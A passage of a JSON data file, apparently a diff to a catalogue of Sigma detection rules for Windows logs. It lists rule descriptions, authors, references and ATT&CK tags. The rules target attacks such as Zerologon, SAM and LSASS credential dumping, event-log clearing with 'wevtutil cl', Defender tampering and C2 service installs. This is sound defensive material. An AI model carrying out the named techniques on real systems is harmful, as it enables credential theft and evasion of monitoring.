"attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", - "value": "Moriya Rootkit" - }, - { - "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/11", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_system_ntfs_vuln_exploit.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/wdormann/status/1347958161609809921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml", - "https://twitter.com/jonasLyk/status/1347900440000811010", - "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/" - ], - "tags": [ - "attack.impact", - "attack.t1499.001" - ] - }, - "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", - "value": "NTFS Vulnerability Exploitation" - }, - { - "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", - "meta": { - "author": "Cian Heasley", - "creation_date": "2020/06/10", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_pcap_drivers.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ] - }, - "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", - "value": "Windows Pcap Drivers" - }, - { - "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", - "meta": { - "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": "No established falsepositives", - "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.secura.com/blog/zero-logon", - "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" - ], - "tags": [ - "attack.t1210", - "attack.lateral_movement" - ] - }, - "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", - "value": "Zerologon Exploitation Using Well-known Tools" - }, - { - "description": "Detects powershell script installed as a Service", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_powershell_script_installed_as_service.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", - "value": "PowerShell Scripts Installed as Services" - }, - { - "description": "Detects QuarksPwDump clearing access history in hive", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", - "value": "QuarksPwDump Clearing Access History" - }, - { - "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/08", - "falsepositive": [ - "Software installation", - "Software updates" - ], - "filename": "win_system_rare_service_installs.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ] - }, - "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", - "value": "Rare Service Installations" - }, - { - "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", - "meta": { - "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", - "creation_date": "2019/05/24", - "falsepositive": [ - "Bad connections or network interruptions" - ], - "filename": "win_system_rdp_potential_cve_2019_0708.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/Ekultek/BlueKeep", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml", - "https://github.com/zerosum0x0/CVE-2019-0708" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "car.2013-07-002" - ] - }, - "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", - "value": "Potential RDP Exploit CVE-2019-0708" - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/21", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_service_install_hacktools.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml", - "Internal Research" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", - "value": "Hacktool Service Registration or Execution" - }, - { - "description": "Detects NetSupport Manager service installation on the target system.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/31", - "falsepositive": [ - "Legitimate use of the tool" - ], - "filename": "win_system_service_install_netsupport_manager.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", - "value": "NetSupport Manager Service Install" - }, - { - "description": "Detects PAExec service installation", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_service_install_paexec.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml", - "https://www.poweradmin.com/paexec/" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", - "value": "PAExec Service Installation" - }, - { - "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/22", - "falsepositive": [ - "Legitimate use of the tool" - ], - "filename": "win_system_service_install_pdqdeploy.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", - "value": "New PDQDeploy Service - Server Side" - }, - { - "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/22", - "falsepositive": [ - "Legitimate use of the tool" - ], - "filename": "win_system_service_install_pdqdeploy_runner.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", - "value": "New PDQDeploy Service - Client Side" - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_service_install_psexec.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", - "value": "PsExec Service Installation" - }, - { - "description": "Detects Remote Utilities Host service installation on the target system.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/31", - "falsepositive": [ - "Legitimate use of the tool" - ], - "filename": "win_system_service_install_remote_utilities.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml", - "https://www.remoteutilities.com/support/kb/host-service-won-t-start/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", - "value": "Remote Utilities Host Service Install" - }, - { - "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_service_install_sliver.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml", - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", - "value": "Sliver C2 Default Service Installation" - }, - { - "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/05", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_service_install_susp_double_ampersand.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml", - "Internal Research" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", - "value": "New Service Uses Double Ampersand in Path" - }, - { - "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", - "meta": { - "author": "Dimitrios Slamaris", - "creation_date": "2017/05/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_dhcp_config.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml", - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", - "value": "DHCP Server Loaded the CallOut DLL" - }, - { - "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", - "meta": { - "author": "Dimitrios Slamaris, @atc_project (fix)", - "creation_date": "2017/05/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_dhcp_config_failed.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml", - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", - "value": "DHCP Server Error Failed Loading the CallOut DLL" - }, - { - "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2022/05/17", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "filename": "win_system_susp_eventlog_cleared.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://twitter.com/deviouspolack/status/832535435960209408" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ] - }, - "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", - "value": "System Eventlog Cleared" - }, - { - "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_system_susp_proceshacker.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml", - "https://twitter.com/1kwpeter/status/1397816101455765504" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", - "value": "ProcessHacker Privilege Elevation" - }, - { - "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_rtcore64_service_install.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml", - "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", - "value": "RTCore Suspicious Service Installation" - }, - { - "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/01/27", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_sam_dump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", - "value": "SAM Dump to AppData" - }, - { - "description": "Detects suspicious service installation commands", - "meta": { - "author": "pH-T", - "creation_date": "2022/03/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_service_installation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ] - }, - "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", - "value": "Suspicious Service Installation" - }, - { - "description": "Detects service installation in suspicious folder appdata", - "meta": { - "author": "pH-T", - "creation_date": "2022/03/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_service_installation_folder.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ] - }, - "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", - "value": "Service Installation in Suspicious Folder" - }, - { - "description": "Detects service installation with suspicious folder patterns", - "meta": { - "author": "pH-T", - "creation_date": "2022/03/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_service_installation_folder_pattern.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ] - }, - "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", - "value": "Service Installation with Suspicious Folder Pattern" - }, - { - "description": "Detects suspicious service installation scripts", - "meta": { - "author": "pH-T", - "creation_date": "2022/03/18", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_service_installation_script.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ] - }, - "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", - "value": "Suspicious Service Installation Script" - }, - { - "description": "Windows Update get some error Check if need a 0-days KB", - "meta": { - "author": "frack113", - "creation_date": "2021/12/04", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_system_update_error.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" - ], - "tags": [ - "attack.impact", - "attack.resource_development", - "attack.t1584" - ] - }, - "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", - "value": "Windows Update Error" - }, - { - "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", - "meta": { - "author": "Cybex", - "creation_date": "2022/08/16", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "52a85084-6989-40c3-8f32-091e12e17692", - "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919" - }, - { - "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_system_service_installation_by_unusal_client.yml", - "level": "high", - "logsource.category": "system", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ] - }, - "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", - "value": "Service Installed By Unusual Client - System" - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", - "meta": { - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "filename": "win_system_tap_driver_installation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ] - }, - "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", - "value": "Tap Driver Installation" - }, - { - "description": "Detects volume shadow copy mount via windows event log", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/20", - "falsepositive": [ - "Legitimate use of volume shadow copy mounts (backups maybe)." - ], - "filename": "win_system_volume_shadow_copy_mount.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "f512acbf-e662-4903-843e-97ce4652b740", - "value": "Volume Shadow Copy Mount" - }, - { - "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", - "meta": { - "author": "NVISO", - "creation_date": "2020/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_vul_cve_2020_1472.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", - "value": "Vulnerable Netlogon Secure Channel Connection Allowed" - }, - { - "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", - "value": "Exploit SamAccountName Spoofing with Kerberos" - }, - { - "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/17", - "falsepositive": [ - "Software installation" - ], - "filename": "win_rare_schtask_creation.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_rare_schtask_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.s0111", - "attack.t1053.005" - ] - }, - "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", - "value": "Rare Scheduled Task Creations" - }, - { - "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/29", - "falsepositive": [ - "Unknown" - ], - "filename": "win_terminalservices_rdp_ngrok.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", - "https://ngrok.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", - "value": "Ngrok Usage with Remote Desktop Service" - }, - { - "description": "Detects Access to LSASS Process", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/08/26", - "falsepositive": [ - "Google Chrome GoogleUpdate.exe", - "Some Taskmgr.exe related activity" - ], - "filename": "win_defender_alert_lsass_access.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", - "value": "LSASS Access Detected via Attack Surface Reduction" - }, - { - "description": "Detects triggering of AMSI by Windows Defender.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/09/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_defender_amsi_trigger.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", - "value": "Windows Defender AMSI Trigger Detected" - }, - { - "description": "Detects disabling Windows Defender threat protection", - "meta": { - "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", - "falsepositive": [ - "Administrator actions" - ], - "filename": "win_defender_disabled.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", - "value": "Windows Defender Threat Detection Disabled" - }, - { - "description": "Detects the Setting of Windows Defender Exclusions", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/07/06", - "falsepositive": [ - "Administrator actions" - ], - "filename": "win_defender_exclusions.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml", - "https://twitter.com/_nullbind/status/1204923340810543109" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", - "value": "Windows Defender Exclusions Added" - }, - { - "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_defender_exploit_guard_tamper.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml", - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", - "value": "Windows Defender Exploit Guard Tamper" - }, - { - "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", - "meta": { - "author": "Cian Heasley", - "creation_date": "2020/08/13", - "falsepositive": [ - "Deletion of Defender malware detections history for legitimate reasons" - ], - "filename": "win_defender_history_delete.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - 